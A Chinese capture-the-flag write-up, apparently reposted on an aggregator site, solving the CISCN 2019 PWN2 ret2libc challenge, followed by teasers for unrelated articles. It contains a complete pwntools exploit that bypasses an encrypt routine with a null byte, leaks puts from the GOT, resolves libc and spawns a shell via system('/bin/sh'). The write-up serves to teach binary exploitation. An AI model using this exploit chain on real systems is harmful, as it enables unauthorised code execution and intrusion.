【PWN · ret2libc】[CISCN 2019东北]PWN2

news2024/12/28 3:14:19

虽然最近的ret2libc的做题基本一致(毕竟类型都是ret2libc嘛),但是对于本蒟蒻现阶段来说,还是有必要记录一下的


前言

持续巩固ret2libc的做题范式/基本套路能力,同时也发现,reverse与pwn密不可分的联系。


一、题目重述

encrypt()存在栈溢出漏洞,同时程序不存在system或者'/bin/sh'

典型的ret2libc 

二、解题过程

1.代码理解

程序要求必须选择encrypt否则死循环/“报错”。而encrypt中存在栈溢出漏洞。

encrypt中,对于输入的字符串,通过检测长度,来对每一个字符进行encrypt,建立映射关系。

思路一:构造合适的payload,使得我们用于攻击的部分代码,经过encrypt恰好变成有用的payload

——真的是这样吗,那我们的任务量将被大大增大

这是很直接的想法——对粗线条的我来说是这样的。

然而实际上我们关注的是放到栈中的内容, 尽可能不让程序修改这些构造好的payload——字符串的结束标识符是'\x0',那我们一开始就传入一个“空串",后面再跟上我们的payload,那么对于字符串加密的部分,就只会作用于空串——实际上不修改这串payload的任何部分。

为什么一开始我不选择这样做呢?因为我害怕send在'\x0'处截断——萌新的可爱之处。

不过如果我们关注溢出漏洞函数的细微差别——gets读取屏幕缓冲区的一行字符串,那么\x0及之后的内容也是可以被读入的。(是这样吧?)

思路二:开头用'\x00'来绕过对payload的encrypt,然后正常进行溢出操作

2.exp 

from pwn import *

context(arch="amd64",os="linux",log_level="debug")

elf=ELF("./pwn")

io=remote("node2.anna.nssctf.cn",28264)

io.sendlineafter('choice!',b'1')

puts_plt=elf.plt["puts"]
puts_got=elf.got["puts"]
pop_rdi=0x400c83
encrypt_addr=0x4009a0
ret_addr=0x4006b9

payload=b'\x00'+b'a'*(0x50-0x1)+b'a'*8
payload+=p64(pop_rdi)+p64(puts_got)
payload+=p64(puts_plt)
payload+=p64(encrypt_addr)

io.sendlineafter('encrypted',payload)

puts_real=u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b"\x00"))

from LibcSearcher import *
libc=LibcSearcher('puts',puts_real)
libc_base=puts_real-libc.dump("puts")
system_addr=libc_base+libc.dump('system')
bin_sh=libc_base+libc.dump("str_bin_sh")

#io.sendlineafter(b'choice!\n',b'1')
payload=b'\x00'+b'a'*0x57
payload+=p64(ret_addr)+p64(pop_rdi)+p64(bin_sh)
payload+=p64(system_addr)

io.sendlineafter('encrypted',payload)

io.interactive()

3.注意点 

如果注意到第二个payload中的ret,会不会有疑问呢?

其实这是因为system被调用时,其中有一个汇编指令,要求栈顶16字节对齐,而我们为了能够正常执行跳转,又需要栈能够调整其高度,就可以通过ret+ret+...+addr的方式,这样首先是调整了输入的个数,其次ret到下一个ret,反复执行实则是“空转”,相当于pop了当前的栈元素,不起到任何其他作用。最后还是跳到了addr的位置。


总结

【PWN · ret2libc】[2021 鹤城杯]babyof_Mr_Fmnwon的博客-CSDN博客

这篇博客ret2libc的细节比较多,且这两个题目完全相似。 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/599958.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

chatgpt赋能python:Python做表格的优势及应用

Python做表格的优势及应用 在数据处理与可视化的领域,表格是最常见的形式之一,也是经常被用来展示数据的有效方式。Python作为一种流行的编程语言,在数据处理方面有着强大的功能,同时也提供了许多生成表格的库与工具。本文将会介…

Zotero的安装与数据同步

一、Zotero的下载与安装 对于需要通过大量阅读期刊论文的学生而言如何提高阅读的效率以及论文管理能力是及其重要的,这里我推荐科研萌新们从Zotero入手,因为Zotero相对于Endnote、NoteExpress这类付费文献管理工具(大多数的高校都购买了这类软…

python web开发(三)—— CSS样式

文章目录 概要1.快速了解2.使用方式3. CSS选择器4. 多个属性类联合使用 样式1. 高度和宽度2. 块级和行内标签3. 字体设置4. 文字对齐方式5. 浮动6. 内边距7.外边距8. 内容居中9.body标签10. hover(伪类)11. 设置透明度12. after(伪类)13. position14. 边框border15. 背景色back…

SSH服务详解

1 SSH服务 1.1 SSH服务协议 SSH 是 Secure Shell Protocol 的简写,由 IETF 网络工作小组(Network Working Group )制定;在进行数据传输之前,SSH先对联机数据包通过加密技术进行加密处理,加密后在进行数据传输。确保…

机器学习集成学习——Adaboost分离器算法

系列文章目录 机器学习之SVM分类器介绍——核函数、SVM分类器的使用 机器学习的一些常见算法介绍【线性回归,岭回归,套索回归,弹性网络】 机器学习相关概念思维导图 文章目录 系列文章目录 前言 Adaboost算法的简单介绍 Adaboost算法相…

如何将Chrome浏览器重置为默认设置?

如何将Chrome浏览器重置为默认设置? 将 Chrome 设置重置为默认设置 您可随时在 Chrome 中恢复您的浏览器设置。如果所安装的应用或扩展程序在您不知情的情况下更改了设置,那么您可能需要这样做。不过,您保存的书签和密码不会被清除或更改。 …

数据库 期末复习(4) 概念数据库的设计

参考资料 :邹老师数据库课件 程老师数据库课件 战老师数据库课件 第一部分 为啥要引入概念数据库 感觉只有一个重点 实体联系模型----ER模型 第二部分-----实体联系模型 这个例子可以全看完之后再来看 举个例子:根据COMPANY数据库的需求来构造数据库模式:The com…

工业控制系统的设备如何加密防勒索病毒

场景描述 信息化时代发展迅速,数据防泄露一词也频繁的出现在我们身边。无论企业或政府单位,无纸化办公场景越来越多,数据泄露的时间也层出不穷。例如:世界最大职业中介网站Monster遭到黑客大规模攻击,黑客窃取在网站注…

Flume的安装和使用

安装Flume 1.1访问Flume的官网(http://flume.apache.org/download.html),下载Flume安装apache-flume-1.9.0-bin.tar.gz。或者下载我的百度网盘资源。把安装文件解压缩到windows操作“D:\”目录下,然后执行如下命令测试是否安装成…

JavaEE Servlet的API详解

Servlet的API详解O(∩_∩)O~: 文章目录 JavaEE & Servlet的API详解1. HttpServlet抽象类1.1 init方法1.2 destroy方法1.3 service方法 2. HttpRequest接口2.1 在浏览器上显示请求首行2.2 在浏览器上显示请求header2.3 getParameter方法 - 最常用的API之一2.4 js…

【MAC】nvm安装和使用

傻瓜式使用教程如下,不用担心443 和 mac的文件夹权限问题 ! 1.将nvm包clone下来并克隆到nvm 文件夹中 打开终端后执行: git clone https://gitee.com/mirrors/nvm.git ~/.nvm2.激活nvm sudo source ~/.nvm/nvm.sh接着就可以通过nvm ls命令…

2023/6/1总结

学习CSS 动画: 2023-05-31 21-48-43-504 效果图: 2023-06-01 13-58-26-168 3D转换 3D移动: transform:translateX() 在x轴移动 transform:translateY() 在y轴移动 transform:translateZ() 在z轴移动 transform:translate3d(x,y,z); …

程序设计综合实习(C语言):链表的创建

一、目的 1.掌握单向链表的概念 2.掌握单向链表的创建、查找、删除方法 二、实习环境 Visual Stdio 2022 三、实习内容、步骤与要求 1.创建一个单向链表,存放10个学生的学号,姓名,并输出这种10个学生的信…

分布式锁框架-Redisson

分布式锁框架-Redisson 一、Redisson介绍二、在SpringBoot中使用Redisson三、Redisson工作原理四、Redisson使用扩展4.1、Redisson单机连接4.2、Redisson集群连接4.3、Redisson主从连接 五、分布式锁总结5.1、分布式锁特点5.2、锁的分类5.3、Redission的使用 基于Redis看门狗机…

chatgpt赋能python:Python以图搜图:如何用Python优化SEO?

Python以图搜图:如何用Python优化SEO? 随着搜索引擎算法的普及,优化您的SEO策略需要更多的创意和技巧。一种方法是使用Python以图搜图,具有该技能可以使您的网站上升到搜索结果列表的顶部。在这篇文章中,我们将探讨Py…

在外部编译器中使用pyqgis

pyqgis_dragonzoebai的博客-CSDN博客 升级后整理 例如在vscode当中添加qgis提供的python解释器,那么就可以使用qgis.core等库 批量处理gdb文件夹,导出对应文件夹目录的geojson文件。 我的gdb文件均没有坐标系,因此需要自己设置正确的坐标系…

chatgpt赋能python:Python网页的SEO优化指南

Python 网页的 SEO 优化指南 在如今互联网高度竞争的时代,一个网站的优化已经成为了至关重要的一环,特别是 SEO 优化。而对于使用 Python 开发网站的人来说,如何进行 SEO 优化,也是需要着重考虑的问题。本文将介绍一些 Python 网…

BGP选路规则实验

1、BGP选路规则实验-基础配置 1)拓扑 2)基础配置 第一步:基础配置: R1的配置: sysname R1 # interface GigabitEthernet0/0/0 ip address 192.168.12.1 255.255.255.0 # interface GigabitEthernet0/0/1 ip addres…

DeiT详解:知识蒸馏的Transformer

DeiT详解:知识蒸馏的Transformer 0. 引言1. ViT2. DeiT2.1 知识蒸馏2.1.1 提出背景2.1.2 理论原理 2.2 DeiT模型 3. 总结 0. 引言 针对 ViT 需求数据量大、运算速度慢的问题,Facebook 与索邦大学 Matthieu Cord 教授合作发表 Training data-efficient i…

工控机设备安全-系统加固分析

工控设备安全现状 工业控制系统是支撑国民经济的重要设施,是工业领域的神经中枢。现在工业控制系统已经广泛应用于电力、通信、化工、交通、航天等工业领域,支撑起国计民生的关键基础设施。 随着传统的工业转型,数字化、网络化和智能化的工…